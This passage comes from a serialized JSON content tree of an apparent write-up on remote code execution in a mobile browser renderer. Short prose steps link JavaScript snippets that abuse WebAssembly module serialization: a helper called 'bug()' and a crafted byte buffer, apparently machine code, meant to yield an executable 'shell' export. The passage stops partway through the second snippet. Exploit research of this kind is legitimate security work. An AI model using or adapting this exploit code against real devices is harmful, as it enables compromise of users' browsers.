func",{"type":24,"tag":158,"props":137807,"children":137808},{"style":188},[137809],{"type":29,"value":5329},{"type":24,"tag":158,"props":137811,"children":137812},{"class":160,"line":259},[137813],{"type":24,"tag":158,"props":137814,"children":137815},{"style":188},[137816],{"type":29,"value":307},{"type":24,"tag":25,"props":137818,"children":137819},{},[137820],{"type":29,"value":137821},"Finally, running this code on the device:",{"type":24,"tag":147,"props":137823,"children":137825},{"code":137824,"language":36879,"meta":7,"className":36877,"style":7},"(async () => {\n var wasm_code = new Uint8Array([\n 0, 97, 115, 109, 1, 0, 0, 0, 1, 4, 1, 96, 0, 0, 3, 2, 1, 0, 7, 9, 1, 5, 115, 104, 101, 108, 108,\n 0, 0, 10, 4, 1, 2, 0, 11,\n ]);\n var mod = new WebAssembly.Module(wasm_code);\n var inst = new WebAssembly.Instance(mod);\n var func = inst.exports.shell;\n\n // %WasmTierUpFunction(func);\n for (let i = 0; i \u003C 0x100000; i++) {\n func();\n }\n\n let r = bug(mod);\n result = (await r.next()).value;\n console.log(result);\n\n let result_bytes = new Uint8Array(result);\n console.log('[' + result_bytes.join(', ') + ']');\n})();\n",[137826],{"type":24,"tag":154,"props":137827,"children":137828},{"__ignoreMap":7},[137829,137852,137880,138099,138166,138173,138216,138259,138298,138305,138313,138373,138385,138392,138399,138430,138473,138500,138507,138543,138606],{"type":24,"tag":158,"props":137830,"children":137831},{"class":160,"line":161},[137832,137836,137840,137844,137848],{"type":24,"tag":158,"props":137833,"children":137834},{"style":188},[137835],{"type":29,"value":504},{"type":24,"tag":158,"props":137837,"children":137838},{"style":165},[137839],{"type":29,"value":37409},{"type":24,"tag":158,"props":137841,"children":137842},{"style":188},[137843],{"type":29,"value":40961},{"type":24,"tag":158,"props":137845,"children":137846},{"style":165},[137847],{"type":29,"value":16056},{"type":24,"tag":158,"props":137849,"children":137850},{"style":188},[137851],{"type":29,"value":210},{"type":24,"tag":158,"props":137853,"children":137854},{"class":160,"line":213},[137855,137860,137864,137868,137872,137876],{"type":24,"tag":158,"props":137856,"children":137857},{"style":165},[137858],{"type":29,"value":137859}," var",{"type":24,"tag":158,"props":137861,"children":137862},{"style":177},[137863],{"type":29,"value":134732},{"type":24,"tag":158,"props":137865,"children":137866},{"style":222},[137867],{"type":29,"value":462},{"type":24,"tag":158,"props":137869,"children":137870},{"style":165},[137871],{"type":29,"value":33194},{"type":24,"tag":158,"props":137873,"children":137874},{"style":496},[137875],{"type":29,"value":134745},{"type":24,"tag":158,"props":137877,"children":137878},{"style":188},[137879],{"type":29,"value":134750},{"type":24,"tag":158,"props":137881,"children":137882},{"class":160,"line":238},[137883,137887,137891,137895,137899,137903,137907,137911,137915,137919,137923,137927,137931,137935,137939,137943,137947,137951,137955,137959,137963,137967,137971,137975,137979,137983,137987,137991,137995,137999,138003,138007,138011,138015,138019,138023,138027,138031,138035,138039,138043,138047,138051,138055,138059,138063,138067,138071,138075,138079,138083,138087,138091,138095],{"type":24,"tag":158,"props":137884,"children":137885},{"style":465},[137886],{"type":29,"value":135475},{"type":24,"tag":158,"props":137888,"children":137889},{"style":188},[137890],{"type":29,"value":191},{"type":24,"tag":158,"props":137892,"children":137893},{"style":465},[137894],{"type":29,"value":134767},{"type":24,"tag":158,"props":137896,"children":137897},{"style":188},[137898],{"type":29,"value":191},{"type":24,"tag":158,"props":137900,"children":137901},{"style":465},[137902],{"type":29,"value":134776},{"type":24,"tag":158,"props":137904,"children":137905},{"style":188},[137906],{"type":29,"value":191},{"type":24,"tag":158,"props":137908,"children":137909},{"style":465},[137910],{"type":29,"value":134785},{"type":24,"tag":158,"props":137912,"children":137913},{"style":188},[137914],{"type":29,"value":191},{"type":24,"tag":158,"props":137916,"children":137917},{"style":465},[137918],{"type":29,"value":5672},{"type":24,"tag":158,"props":137920,"children":137921},{"style":188},[137922],{"type":29,"value":191},{"type":24,"tag":158,"props":137924,"children":137925},{"style":465},[137926],{"type":29,"value":5682},{"type":24,"tag":158,"props":137928,"children":137929},{"style":188},[137930],{"type":29,"value":191},{"type":24,"tag":158,"props":137932,"children":137933},{"style":465},[137934],{"type":29,"value":5682},{"type":24,"tag":158,"props":137936,"children":137937},{"style":188},[137938],{"type":29,"value":191},{"type":24,"tag":158,"props":137940,"children":137941},{"style":465},[137942],{"type":29,"value":5682},{"type":24,"tag":158,"props":137944,"children":137945},{"style":188},[137946],{"type":29,"value":191},{"type":24,"tag":158,"props":137948,"children":137949},{"style":465},[137950],{"type":29,"value":5672},{"type":24,"tag":158,"props":137952,"children":137953},{"style":188},[137954],{"type":29,"value":191},{"type":24,"tag":158,"props":137956,"children":137957},{"style":465},[137958],{"type":29,"value":18767},{"type":24,"tag":158,"props":137960,"children":137961},{"style":188},[137962],{"type":29,"value":191},{"type":24,"tag":158,"props":137964,"children":137965},{"style":465},[137966],{"type":29,"value":5672},{"type":24,"tag":158,"props":137968,"children":137969},{"style":188},[137970],{"type":29,"value":191},{"type":24,"tag":158,"props":137972,"children":137973},{"style":465},[137974],{"type":29,"value":134850},{"type":24,"tag":158,"props":137976,"children":137977},{"style":188},[137978],{"type":29,"value":191},{"type":24,"tag":158,"props":137980,"children":137981},{"style":465},[137982],{"type":29,"value":5682},{"type":24,"tag":158,"props":137984,"children":137985},{"style":188},[137986],{"type":29,"value":191},{"type":24,"tag":158,"props":137988,"children":137989},{"style":465},[137990],{"type":29,"value":5682},{"type":24,"tag":158,"props":137992,"children":137993},{"style":188},[137994],{"type":29,"value":191},{"type":24,"tag":158,"props":137996,"children":137997},{"style":465},[137998],{"type":29,"value":18534},{"type":24,"tag":158,"props":138000,"children":138001},{"style":188},[138002],{"type":29,"value":191},{"type":24,"tag":158,"props":138004,"children":138005},{"style":465},[138006],{"type":29,"value":4789},{"type":24,"tag":158,"props":138008,"children":138009},{"style":188},[138010],{"type":29,"value":191},{"type":24,"tag":158,"props":138012,"children":138013},{"style":465},[138014],{"type":29,"value":5672},{"type":24,"tag":158,"props":138016,"children":138017},{"style":188},[138018],{"type":29,"value":191},{"type":24,"tag":158,"props":138020,"children":138021},{"style":465},[138022],{"type":29,"value":5682},{"type":24,"tag":158,"props":138024,"children":138025},{"style":188},[138026],{"type":29,"value":191},{"type":24,"tag":158,"props":138028,"children":138029},{"style":465},[138030],{"type":29,"value":55943},{"type":24,"tag":158,"props":138032,"children":138033},{"style":188},[138034],{"type":29,"value":191},{"type":24,"tag":158,"props":138036,"children":138037},{"style":465},[138038],{"type":29,"value":57158},{"type":24,"tag":158,"props":138040,"children":138041},{"style":188},[138042],{"type":29,"value":191},{"type":24,"tag":158,"props":138044,"children":138045},{"style":465},[138046],{"type":29,"value":5672},{"type":24,"tag":158,"props":138048,"children":138049},{"style":188},[138050],{"type":29,"value":191},{"type":24,"tag":158,"props":138052,"children":138053},{"style":465},[138054],{"type":29,"value":19348},{"type":24,"tag":158,"props":138056,"children":138057},{"style":188},[138058],{"type":29,"value":191},{"type":24,"tag":158,"props":138060,"children":138061},{"style":465},[138062],{"type":29,"value":134776},{"type":24,"tag":158,"props":138064,"children":138065},{"style":188},[138066],{"type":29,"value":191},{"type":24,"tag":158,"props":138068,"children":138069},{"style":465},[138070],{"type":29,"value":134947},{"type":24,"tag":158,"props":138072,"children":138073},{"style":188},[138074],{"type":29,"value":191},{"type":24,"tag":158,"props":138076,"children":138077},{"style":465},[138078],{"type":29,"value":134956},{"type":24,"tag":158,"props":138080,"children":138081},{"style":188},[138082],{"type":29,"value":191},{"type":24,"tag":158,"props":138084,"children":138085},{"style":465},[138086],{"type":29,"value":134965},{"type":24,"tag":158,"props":138088,"children":138089},{"style":188},[138090],{"type":29,"value":191},{"type":24,"tag":158,"props":138092,"children":138093},{"style":465},[138094],{"type":29,"value":134965},{"type":24,"tag":158,"props":138096,"children":138097},{"style":188},[138098],{"type":29,"value":235},{"type":24,"tag":158,"props":138100,"children":138101},{"class":160,"line":259},[138102,138106,138110,138114,138118,138122,138126,138130,138134,138138,138142,138146,138150,138154,138158,138162],{"type":24,"tag":158,"props":138103,"children":138104},{"style":465},[138105],{"type":29,"value":135475},{"type":24,"tag":158,"props":138107,"children":138108},{"style":188},[138109],{"type":29,"value":191},{"type":24,"tag":158,"props":138111,"children":138112},{"style":465},[138113],{"type":29,"value":5682},{"type":24,"tag":158,"props":138115,"children":138116},{"style":188},[138117],{"type":29,"value":191},{"type":24,"tag":158,"props":138119,"children":138120},{"style":465},[138121],{"type":29,"value":90531},{"type":24,"tag":158,"props":138123,"children":138124},{"style":188},[138125],{"type":29,"value":191},{"type":24,"tag":158,"props":138127,"children":138128},{"style":465},[138129],{"type":29,"value":18767},{"type":24,"tag":158,"props":138131,"children":138132},{"style":188},[138133],{"type":29,"value":191},{"type":24,"tag":158,"props":138135,"children":138136},{"style":465},[138137],{"type":29,"value":5672},{"type":24,"tag":158,"props":138139,"children":138140},{"style":188},[138141],{"type":29,"value":191},{"type":24,"tag":158,"props":138143,"children":138144},{"style":465},[138145],{"type":29,"value":4789},{"type":24,"tag":158,"props":138147,"children":138148},{"style":188},[138149],{"type":29,"value":191},{"type":24,"tag":158,"props":138151,"children":138152},{"style":465},[138153],{"type":29,"value":5682},{"type":24,"tag":158,"props":138155,"children":138156},{"style":188},[138157],{"type":29,"value":191},{"type":24,"tag":158,"props":138159,"children":138160},{"style":465},[138161],{"type":29,"value":135041},{"type":24,"tag":158,"props":138163,"children":138164},{"style":188},[138165],{"type":29,"value":235},{"type":24,"tag":158,"props":138167,"children":138168},{"class":160,"line":280},[138169],{"type":24,"tag":158,"props":138170,"children":138171},{"style":188},[138172],{"type":29,"value":135762},{"type":24,"tag":158,"props":138174,"children":138175},{"class":160,"line":301},[138176,138180,138184,138188,138192,138196,138200,138204,138208,138212],{"type":24,"tag":158,"props":138177,"children":138178},{"style":165},[138179],{"type":29,"value":137859},{"type":24,"tag":158,"props":138181,"children":138182},{"style":177},[138183],{"type":29,"value":72900},{"type":24,"tag":158,"props":138185,"children":138186},{"style":222},[138187],{"type":29,"value":462},{"type":24,"tag":158,"props":138189,"children":138190},{"style":165},[138191],{"type":29,"value":33194},{"type":24,"tag":158,"props":138193,"children":138194},{"style":177},[138195],{"type":29,"value":135076},{"type":24,"tag":158,"props":138197,"children":138198},{"style":188},[138199],{"type":29,"value":347},{"type":24,"tag":158,"props":138201,"children":138202},{"style":496},[138203],{"type":29,"value":87197},{"type":24,"tag":158,"props":138205,"children":138206},{"style":188},[138207],{"type":29,"value":504},{"type":24,"tag":158,"props":138209,"children":138210},{"style":177},[138211],{"type":29,"value":135093},{"type":24,"tag":158,"props":138213,"children":138214},{"style":188},[138215],{"type":29,"value":1071},{"type":24,"tag":158,"props":138217,"children":138218},{"class":160,"line":626},[138219,138223,138227,138231,138235,138239,138243,138247,138251,138255],{"type":24,"tag":158,"props":138220,"children":138221},{"style":165},[138222],{"type":29,"value":137859},{"type":24,"tag":158,"props":138224,"children":138225},{"style":177},[138226],{"type":29,"value":135109},{"type":24,"tag":158,"props":138228,"children":138229},{"style":222},[138230],{"type":29,"value":462},{"type":24,"tag":158,"props":138232,"children":138233},{"style":165},[138234],{"type":29,"value":33194},{"type":24,"tag":158,"props":138236,"children":138237},{"style":177},[138238],{"type":29,"value":135076},{"type":24,"tag":158,"props":138240,"children":138241},{"style":188},[138242],{"type":29,"value":347},{"type":24,"tag":158,"props":138244,"children":138245},{"style":496},[138246],{"type":29,"value":135130},{"type":24,"tag":158,"props":138248,"children":138249},{"style":188},[138250],{"type":29,"value":504},{"type":24,"tag":158,"props":138252,"children":138253},{"style":177},[138254],{"type":29,"value":135139},{"type":24,"tag":158,"props":138256,"children":138257},{"style":188},[138258],{"type":29,"value":1071},{"type":24,"tag":158,"props":138260,"children":138261},{"class":160,"line":668},[138262,138266,138270,138274,138278,138282,138286,138290,138294],{"type":24,"tag":158,"props":138263,"children":138264},{"style":165},[138265],{"type":29,"value":137859},{"type":24,"tag":158,"props":138267,"children":138268},{"style":177},[138269],{"type":29,"value":81287},{"type":24,"tag":158,"props":138271,"children":138272},{"style":222},[138273],{"type":29,"value":462},{"type":24,"tag":158,"props":138275,"children":138276},{"style":177},[138277],{"type":29,"value":135109},{"type":24,"tag":158,"props":138279,"children":138280},{"style":188},[138281],{"type":29,"value":347},{"type":24,"tag":158,"props":138283,"children":138284},{"style":177},[138285],{"type":29,"value":39150},{"type":24,"tag":158,"props":138287,"children":138288},{"style":188},[138289],{"type":29,"value":347},{"type":24,"tag":158,"props":138291,"children":138292},{"style":177},[138293],{"type":29,"value":135179},{"type":24,"tag":158,"props":138295,"children":138296},{"style":188},[138297],{"type":29,"value":473},{"type":24,"tag":158,"props":138299,"children":138300},{"class":160,"line":676},[138301],{"type":24,"tag":158,"props":138302,"children":138303},{"emptyLinePlaceholder":16},[138304],{"type":29,"value":481},{"type":24,"tag":158,"props":138306,"children":138307},{"class":160,"line":684},[138308],{"type":24,"tag":158,"props":138309,"children":138310},{"style":2588},[138311],{"type":29,"value":138312}," // %WasmTierUpFunction(func);\n",{"type":24,"tag":158,"props":138314,"children":138315},{"class":160,"line":700},[138316,138321,138325,138329,138333,138337,138341,138345,138349,138353,138357,138361,138365,138369],{"type":24,"tag":158,"props":138317,"children":138318},{"style":1914},[138319],{"type":29,"value":138320}," for",{"type":24,"tag":158,"props":138322,"children":138323},{"style":188},[138324],{"type":29,"value":2262},{"type":24,"tag":158,"props":138326,"children":138327},{"style":165},[138328],{"type":29,"value":2662},{"type":24,"tag":158,"props":138330,"children":138331},{"style":177},[138332],{"type":29,"value":1969},{"type":24,"tag":158,"props":138334,"children":138335},{"style":222},[138336],{"type":29,"value":462},{"type":24,"tag":158,"props":138338,"children":138339},{"style":465},[138340],{"type":29,"value":2025},{"type":24,"tag":158,"props":138342,"children":138343},{"style":188},[138344],{"type":29,"value":18465},{"type":24,"tag":158,"props":138346,"children":138347},{"style":177},[138348],{"type":29,"value":1832},{"type":24,"tag":158,"props":138350,"children":138351},{"style":222},[138352],{"type":29,"value":2116},{"type":24,"tag":158,"props":138354,"children":138355},{"style":465},[138356],{"type":29,"value":137781},{"type":24,"tag":158,"props":138358,"children":138359},{"style":188},[138360],{"type":29,"value":18465},{"type":24,"tag":158,"props":138362,"children":138363},{"style":177},[138364],{"type":29,"value":1832},{"type":24,"tag":158,"props":138366,"children":138367},{"style":222},[138368],{"type":29,"value":52541},{"type":24,"tag":158,"props":138370,"children":138371},{"style":188},[138372],{"type":29,"value":16038},{"type":24,"tag":158,"props":138374,"children":138375},{"class":160,"line":785},[138376,138381],{"type":24,"tag":158,"props":138377,"children":138378},{"style":496},[138379],{"type":29,"value":138380}," func",{"type":24,"tag":158,"props":138382,"children":138383},{"style":188},[138384],{"type":29,"value":5329},{"type":24,"tag":158,"props":138386,"children":138387},{"class":160,"line":1447},[138388],{"type":24,"tag":158,"props":138389,"children":138390},{"style":188},[138391],{"type":29,"value":4366},{"type":24,"tag":158,"props":138393,"children":138394},{"class":160,"line":1509},[138395],{"type":24,"tag":158,"props":138396,"children":138397},{"emptyLinePlaceholder":16},[138398],{"type":29,"value":481},{"type":24,"tag":158,"props":138400,"children":138401},{"class":160,"line":1527},[138402,138406,138410,138414,138418,138422,138426],{"type":24,"tag":158,"props":138403,"children":138404},{"style":165},[138405],{"type":29,"value":9496},{"type":24,"tag":158,"props":138407,"children":138408},{"style":177},[138409],{"type":29,"value":137215},{"type":24,"tag":158,"props":138411,"children":138412},{"style":222},[138413],{"type":29,"value":462},{"type":24,"tag":158,"props":138415,"children":138416},{"style":496},[138417],{"type":29,"value":137224},{"type":24,"tag":158,"props":138419,"children":138420},{"style":188},[138421],{"type":29,"value":504},{"type":24,"tag":158,"props":138423,"children":138424},{"style":177},[138425],{"type":29,"value":135139},{"type":24,"tag":158,"props":138427,"children":138428},{"style":188},[138429],{"type":29,"value":1071},{"type":24,"tag":158,"props":138431,"children":138432},{"class":160,"line":1545},[138433,138437,138441,138445,138449,138453,138457,138461,138465,138469],{"type":24,"tag":158,"props":138434,"children":138435},{"style":177},[138436],{"type":29,"value":137260},{"type":24,"tag":158,"props":138438,"children":138439},{"style":222},[138440],{"type":29,"value":462},{"type":24,"tag":158,"props":138442,"children":138443},{"style":188},[138444],{"type":29,"value":2262},{"type":24,"tag":158,"props":138446,"children":138447},{"style":1914},[138448],{"type":29,"value":34178},{"type":24,"tag":158,"props":138450,"children":138451},{"style":177},[138452],{"type":29,"value":137215},{"type":24,"tag":158,"props":138454,"children":138455},{"style":188},[138456],{"type":29,"value":347},{"type":24,"tag":158,"props":138458,"children":138459},{"style":496},[138460],{"type":29,"value":58838},{"type":24,"tag":158,"props":138462,"children":138463},{"style":188},[138464],{"type":29,"value":137289},{"type":24,"tag":158,"props":138466,"children":138467},{"style":177},[138468],{"type":29,"value":40416},{"type":24,"tag":158,"props":138470,"children":138471},{"style":188},[138472],{"type":29,"value":473},{"type":24,"tag":158,"props":138474,"children":138475},{"class":160,"line":1618},[138476,138480,138484,138488,138492,138496],{"type":24,"tag":158,"props":138477,"children":138478},{"style":177},[138479],{"type":29,"value":103222},{"type":24,"tag":158,"props":138481,"children":138482},{"style":188},[138483],{"type":29,"value":347},{"type":24,"tag":158,"props":138485,"children":138486},{"style":496},[138487],{"type":29,"value":103231},{"type":24,"tag":158,"props":138489,"children":138490},{"style":188},[138491],{"type":29,"value":504},{"type":24,"tag":158,"props":138493,"children":138494},{"style":177},[138495],{"type":29,"value":1025},{"type":24,"tag":158,"props":138497,"children":138498},{"style":188},[138499],{"type":29,"value":1071},{"type":24,"tag":158,"props":138501,"children":138502},{"class":160,"line":1635},[138503],{"type":24,"tag":158,"props":138504,"children":138505},{"emptyLinePlaceholder":16},[138506],{"type":29,"value":481},{"type":24,"tag":158,"props":138508,"children":138509},{"class":160,"line":1644},[138510,138514,138519,138523,138527,138531,138535,138539],{"type":24,"tag":158,"props":138511,"children":138512},{"style":165},[138513],{"type":29,"value":9496},{"type":24,"tag":158,"props":138515,"children":138516},{"style":177},[138517],{"type":29,"value":138518}," result_bytes",{"type":24,"tag":158,"props":138520,"children":138521},{"style":222},[138522],{"type":29,"value":462},{"type":24,"tag":158,"props":138524,"children":138525},{"style":165},[138526],{"type":29,"value":33194},{"type":24,"tag":158,"props":138528,"children":138529},{"style":496},[138530],{"type":29,"value":134745},{"type":24,"tag":158,"props":138532,"children":138533},{"style":188},[138534],{"type":29,"value":504},{"type":24,"tag":158,"props":138536,"children":138537},{"style":177},[138538],{"type":29,"value":1025},{"type":24,"tag":158,"props":138540,"children":138541},{"style":188},[138542],{"type":29,"value":1071},{"type":24,"tag":158,"props":138544,"children":138545},{"class":160,"line":1652},[138546,138550,138554,138558,138562,138566,138570,138574,138578,138582,138586,138590,138594,138598,138602],{"type":24,"tag":158,"props":138547,"children":138548},{"style":177},[138549],{"type":29,"value":103222},{"type":24,"tag":158,"props":138551,"children":138552},{"style":188},[138553],{"type":29,"value":347},{"type":24,"tag":158,"props":138555,"children":138556},{"style":496},[138557],{"type":29,"value":103231},{"type":24,"tag":158,"props":138559,"children":138560},{"style":188},[138561],{"type":29,"value":504},{"type":24,"tag":158,"props":138563,"children":138564},{"style":1108},[138565],{"type":29,"value":135312},{"type":24,"tag":158,"props":138567,"children":138568},{"style":222},[138569],{"type":29,"value":2308},{"type":24,"tag":158,"props":138571,"children":138572},{"style":177},[138573],{"type":29,"value":138518},{"type":24,"tag":158,"props":138575,"children":138576},{"style":188},[138577],{"type":29,"value":347},{"type":24,"tag":158,"props":138579,"children":138580},{"style":496},[138581],{"type":29,"value":135329},{"type":24,"tag":158,"props":138583,"children":138584},{"style":188},[138585],{"type":29,"value":504},{"type":24,"tag":158,"props":138587,"children":138588},{"style":1108},[138589],{"type":29,"value":135338},{"type":24,"tag":158,"props":138591,"children":138592},{"style":188},[138593],{"type":29,"value":723},{"type":24,"tag":158,"props":138595,"children":138596},{"style":222},[138597],{"type":29,"value":728},{"type":24,"tag":158,"props":138599,"children":138600},{"style":1108},[138601],{"type":29,"value":135351},{"type":24,"tag":158,"props":138603,"children":138604},{"style":188},[138605],{"type":29,"value":1071},{"type":24,"tag":158,"props":138607,"children":138608},{"class":160,"line":1704},[138609],{"type":24,"tag":158,"props":138610,"children":138611},{"style":188},[138612],{"type":29,"value":103263},{"type":24,"tag":25,"props":138614,"children":138615},{},[138616],{"type":29,"value":138617},"We get the serialized bytes:",{"type":24,"tag":25,"props":138619,"children":138620},{},[138621],{"type":24,"tag":84,"props":138622,"children":138625},{"alt":138623,"src":138624},"image2","/posts/mobile-renderer-rce/image2.png",[],{"type":24,"tag":25,"props":138627,"children":138628},{},[138629,138631,138636],{"type":29,"value":138630},"We can now embed this output into the original bytecode that calls ",{"type":24,"tag":154,"props":138632,"children":138634},{"className":138633},[],[138635],{"type":29,"value":134208},{"type":29,"value":225},{"type":24,"tag":147,"props":138638,"children":138640},{"code":138639,"language":36879,"meta":7,"className":36877,"style":7},"(async () => {\n const wasm_code = new Uint8Array([\n 0, 97, 115, 109, 1, 0, 0, 0, 1, 4, 1, 96, 0, 0, 3, 2, 1, 0, 7, 9, 1, 5, 115, 104, 101, 108, 108,\n 0, 0, 10, 4, 1, 2, 0, 11,\n ]);\n const buffer = new Uint8Array([\n 146, 6, 222, 192, 174, 122, 171, 151, 31, 0, 0, 0, 39, 61, 60, 31, 0, 16, 3, 0, 0, 0, 0, 0, 64,\n 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 4, 56, 0, 0, 0, 44, 0, 0, 0, 56, 0, 0, 0, 56, 0,\n 0, 0, 56, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 95, 36, 3, 213, 16, 1, 128, 210, 127, 35, 3,\n 213, 231, 67, 190, 169, 253, 123, 1, 169, 253, 67, 0, 145, 191, 3, 0, 145, 253, 123, 193, 168,\n 255, 35, 3, 213, 192, 3, 95, 214, 31, 32, 3, 213, 4, 0, 0, 0, 0, 0, 0, 0, 0, 4, 0, 0, 0, 0, 0,\n 0, 0, 0, 0, 0, 92, 50, 162, 0,\n ]);\n let r = bug(wasm_code, buffer.buffer);\n result = (await r.next()).value;\n console.log('DeserializeWasmModule result: ' + result);\n const wasm_instance = new WebAssembly.Instance(result);\n const f = wasm_instance.exports.shell;\n console.log(f);\n})();\n",[138641],{"type":24,"tag":154,"props":138642,"children":138643},{"__ignoreMap":7},[138644,138667,138694,138913,138980,138987,139014,139225,139476,139727,139951,140133,140354,140432,140439,140486,140529,140565,140608,140647,140674],{"type":24,"tag":158,"props":138645,"children":138646},{"class":160,"line":161},[138647,138651,138655,138659,138663],{"type":24,"tag":158,"props":138648,"children":138649},{"style":188},[138650],{"type":29,"value":504},{"type":24,"tag":158,"props":138652,"children":138653},{"style":165},[138654],{"type":29,"value":37409},{"type":24,"tag":158,"props":138656,"children":138657},{"style":188},[138658],{"type":29,"value":40961},{"type":24,"tag":158,"props":138660,"children":138661},{"style":165},[138662],{"type":29,"value":16056},{"type":24,"tag":158,"props":138664,"children":138665},{"style":188},[138666],{"type":29,"value":210},{"type":24,"tag":158,"props":138668,"children":138669},{"class":160,"line":213},[138670,138674,138678,138682,138686,138690],{"type":24,"tag":158,"props":138671,"children":138672},{"style":165},[138673],{"type":29,"value":37452},{"type":24,"tag":158,"props":138675,"children":138676},{"style":177},[138677],{"type":29,"value":134732},{"type":24,"tag":158,"props":138679,"children":138680},{"style":222},[138681],{"type":29,"value":462},{"type":24,"tag":158,"props":138683,"children":138684},{"style":165},[138685],{"type":29,"value":33194},{"type":24,"tag":158,"props":138687,"children":138688},{"style":496},[138689],{"type":29,"value":134745},{"type":24,"tag":158,"props":138691,"children":138692},{"style":188},[138693],{"type":29,"value":134750},{"type":24,"tag":158,"props":138695,"children":138696},{"class":160,"line":238},[138697,138701,138705,138709,138713,138717,138721,138725,138729,138733,138737,138741,138745,138749,138753,138757,138761,138765,138769,138773,138777,138781,138785,138789,138793,138797,138801,138805,138809,138813,138817,138821,138825,138829,138833,138837,138841,138845,138849,138853,138857,138861,138865,138869,138873,138877,138881,138885,138889,138893,138897,138901,138905,138909],{"type":24,"tag":158,"props":138698,"children":138699},{"style":465},[138700],{"type":29,"value":135475},{"type":24,"tag":158,"props":138702,"children":138703},{"style":188},[138704],{"type":29,"value":191},{"type":24,"tag":158,"props":138706,"children":138707},{"style":465},[138708],{"type":29,"value":134767},{"type":24,"tag":158,"props":138710,"children":138711},{"style":188},[138712],{"type":29,"value":191},{"type":24,"tag":158,"props":138714,"children":138715},{"style":465},[138716],{"type":29,"value":134776},{"type":24,"tag":158,"props":138718,"children":138719},{"style":188},[138720],{"type":29,"value":191},{"type":24,"tag":158,"props":138722,"children":138723},{"style":465},[138724],{"type":29,"value":134785},{"type":24,"tag":158,"props":138726,"children":138727},{"style":188},[138728],{"type":29,"value":191},{"type":24,"tag":158,"props":138730,"children":138731},{"style":465},[138732],{"type":29,"value":5672},{"type":24,"tag":158,"props":138734,"children":138735},{"style":188},[138736],{"type":29,"value":191},{"type":24,"tag":158,"props":138738,"children":138739},{"style":465},[138740],{"type":29,"value":5682},{"type":24,"tag":158,"props":138742,"children":138743},{"style":188},[138744],{"type":29,"value":191},{"type":24,"tag":158,"props":138746,"children":138747},{"style":465},[138748],{"type":29,"value":5682},{"type":24,"tag":158,"props":138750,"children":138751},{"style":188},[138752],{"type":29,"value":191},{"type":24,"tag":158,"props":138754,"children":138755},{"style":465},[138756],{"type":29,"value":5682},{"type":24,"tag":158,"props":138758,"children":138759},{"style":188},[138760],{"type":29,"value":191},{"type":24,"tag":158,"props":138762,"children":138763},{"style":465},[138764],{"type":29,"value":5672},{"type":24,"tag":158,"props":138766,"children":138767},{"style":188},[138768],{"type":29,"value":191},{"type":24,"tag":158,"props":138770,"children":138771},{"style":465},[138772],{"type":29,"value":18767},{"type":24,"tag":158,"props":138774,"children":138775},{"style":188},[138776],{"type":29,"value":191},{"type":24,"tag":158,"props":138778,"children":138779},{"style":465},[138780],{"type":29,"value":5672},{"type":24,"tag":158,"props":138782,"children":138783},{"style":188},[138784],{"type":29,"value":191},{"type":24,"tag":158,"props":138786,"children":138787},{"style":465},[138788],{"type":29,"value":134850},{"type":24,"tag":158,"props":138790,"children":138791},{"style":188},[138792],{"type":29,"value":191},{"type":24,"tag":158,"props":138794,"children":138795},{"style":465},[138796],{"type":29,"value":5682},{"type":24,"tag":158,"props":138798,"children":138799},{"style":188},[138800],{"type":29,"value":191},{"type":24,"tag":158,"props":138802,"children":138803},{"style":465},[138804],{"type":29,"value":5682},{"type":24,"tag":158,"props":138806,"children":138807},{"style":188},[138808],{"type":29,"value":191},{"type":24,"tag":158,"props":138810,"children":138811},{"style":465},[138812],{"type":29,"value":18534},{"type":24,"tag":158,"props":138814,"children":138815},{"style":188},[138816],{"type":29,"value":191},{"type":24,"tag":158,"props":138818,"children":138819},{"style":465},[138820],{"type":29,"value":4789},{"type":24,"tag":158,"props":138822,"children":138823},{"style":188},[138824],{"type":29,"value":191},{"type":24,"tag":158,"props":138826,"children":138827},{"style":465},[138828],{"type":29,"value":5672},{"type":24,"tag":158,"props":138830,"children":138831},{"style":188},[138832],{"type":29,"value":191},{"type":24,"tag":158,"props":138834,"children":138835},{"style":465},[138836],{"type":29,"value":5682},{"type":24,"tag":158,"props":138838,"children":138839},{"style":188},[138840],{"type":29,"value":191},{"type":24,"tag":158,"props":138842,"children":138843},{"style":465},[138844],{"type":29,"value":55943},{"type":24,"tag":158,"props":138846,"children":138847},{"style":188},[138848],{"type":29,"value":191},{"type":24,"tag":158,"props":138850,"children":138851},{"style":465},[138852],{"type":29,"value":57158},{"type":24,"tag":158,"props":138854,"children":138855},{"style":188},[138856],{"type":29,"value":191},{"type":24,"tag":158,"props":138858,"children":138859},{"style":465},[138860],{"type":29,"value":5672},{"type":24,"tag":158,"props":138862,"children":138863},{"style":188},[138864],{"type":29,"value":191},{"type":24,"tag":158,"props":138866,"children":138867},{"style":465},[138868],{"type":29,"value":19348},{"type":24,"tag":158,"props":138870,"children":138871},{"style":188},[138872],{"type":29,"value":191},{"type":24,"tag":158,"props":138874,"children":138875},{"style":465},[138876],{"type":29,"value":134776},{"type":24,"tag":158,"props":138878,"children":138879},{"style":188},[138880],{"type":29,"value":191},{"type":24,"tag":158,"props":138882,"children":138883},{"style":465},[138884],{"type":29,"value":134947},{"type":24,"tag":158,"props":138886,"children":138887},{"style":188},[138888],{"type":29,"value":191},{"type":24,"tag":158,"props":138890,"children":138891},{"style":465},[138892],{"type":29,"value":134956},{"type":24,"tag":158,"props":138894,"children":138895},{"style":188},[138896],{"type":29,"value":191},{"type":24,"tag":158,"props":138898,"children":138899},{"style":465},[138900],{"type":29,"value":134965},{"type":24,"tag":158,"props":138902,"children":138903},{"style":188},[138904],{"type":29,"value":191},{"type":24,"tag":158,"props":138906,"children":138907},{"style":465},[138908],{"type":29,"value":134965},{"type":24,"tag":158,"props":138910,"children":138911},{"style":188},[138912],{"type":29,"value":235},{"type":24,"tag":158,"props":138914,"children":138915},{"class":160,"line":259},[138916,138920,138924,138928,138932,138936,138940,138944,138948,138952,138956,138960,138964,138968,138972,138976],{"type":24,"tag":158,"props":138917,"children":138918},{"style":465},[138919],{"type":29,"value":135475},{"type":24,"tag":158,"props":138921,"children":138922},{"style":188},[138923],{"type":29,"value":191},{"type":24,"tag":158,"props":138925,"children":138926},{"style":465},[138927],{"type":29,"value":5682},{"type":24,"tag":158,"props":138929,"children":138930},{"style":188},[138931],{"type":29,"value":191},{"type":24,"tag":158,"props":138933,"children":